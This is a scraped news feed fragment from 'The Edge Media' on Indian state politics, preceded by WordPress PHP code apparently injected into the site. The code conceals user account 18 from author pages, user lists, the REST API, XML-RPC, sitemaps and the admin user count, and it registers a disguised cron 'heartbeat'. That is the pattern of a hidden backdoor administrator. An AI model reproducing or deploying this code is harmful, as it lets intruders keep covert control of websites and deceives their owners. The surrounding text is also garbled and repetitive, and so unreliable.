add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Amarinder Singh’s Dismissal as Punjab Chief Minister is Being Demanded by Four Cabinet Members Out of 32 MLAs appeared first on The Edge Media.
]]>All of these cabinet ministers and MLAs from Punjab Congress resident Navjot Singh Sidhu’s camp are skeptical that the party will be able to deliver on all of the promises made before the 2017 state assembly elections under Capt Amarinder’s leadership.
The post Amarinder Singh’s Dismissal as Punjab Chief Minister is Being Demanded by Four Cabinet Members Out of 32 MLAs appeared first on The Edge Media.
]]>The post Twelve BJP MLAs suspended from Maharashtra legislative assembly for a year appeared first on The Edge Media.
]]>The 12 suspended BJP MLAs are Sanjay Kute, Ashish Shelar, Abhimanyu Pawar, Girish Mahajan, Atul Bhatkalkar, Parag Alavni, Harish Pimpale, Ram Satpute, Vijay Kumar Rawal, Yogesh Sagar, Narayan Kuche and Kirtikumar Bangdia.
The two-day monsoon session of the Maharashtra assembly got off to a stormy start today with leader of the opposition Devendra Fadnavis targeting the state government over an MPSC aspirant’s suicide and the short duration of the session.
The two-day monsoon session of the Maharashtra assembly got off to a stormy start today with leader of the opposition Devendra Fadnavis targeting the state government over an MPSC aspirant’s suicide and the short duration of the session.
The BJP leader demanded that House members be allowed to use all legislative tools to highlight various issues and all questions submitted be answered.
The motion to suspend the MLAs was moved by state Parliamentary affairs minister Anil Parab and passed by a voice vote.
During the period of suspension, the 12 legislators will not be allowed to enter the Legislature premises in Mumbai and Nagpur.
Objecting to the decision, BJP members, led by Devendra Fadnavis, said the opposition would boycott the House proceedings.
“This is a false allegation and an attempt to reduce the numbers of opposition benches because we exposed the government’s falsehood on the OBC quota in local bodies,” Fadnavis said.
The post Twelve BJP MLAs suspended from Maharashtra legislative assembly for a year appeared first on The Edge Media.
]]>The post Home Minister Shah to visit Karnataka for a two-day visit, angry MLAs will celebrate cabinet expansion appeared first on The Edge Media.
]]>The Karnataka government expanded the cabinet on Wednesday. The Karnataka cabinet had 27 ministers, including the chief minister. There were seven vacant seats in the cabinet, which have been filled. The new ministers include MTB Nagaraj, Umesh Katti, Arvind Limbavali, Murugesh Nirani, R Shankar, CP Yogishwar, Angara S. After the expansion of the cabinet in Karnataka, there is a fierce battle within the Bharatiya Janata Party (BJP). Many BJP leaders are angry with this cabinet expansion. Party MLA Basangowda Yatnal has made serious allegations against Chief Minister Yeddyurappa. He said that Yeddyurappa should retire from politics, whoever blackmails or gives money is made a minister, there is a quota for it.
The post Home Minister Shah to visit Karnataka for a two-day visit, angry MLAs will celebrate cabinet expansion appeared first on The Edge Media.
]]>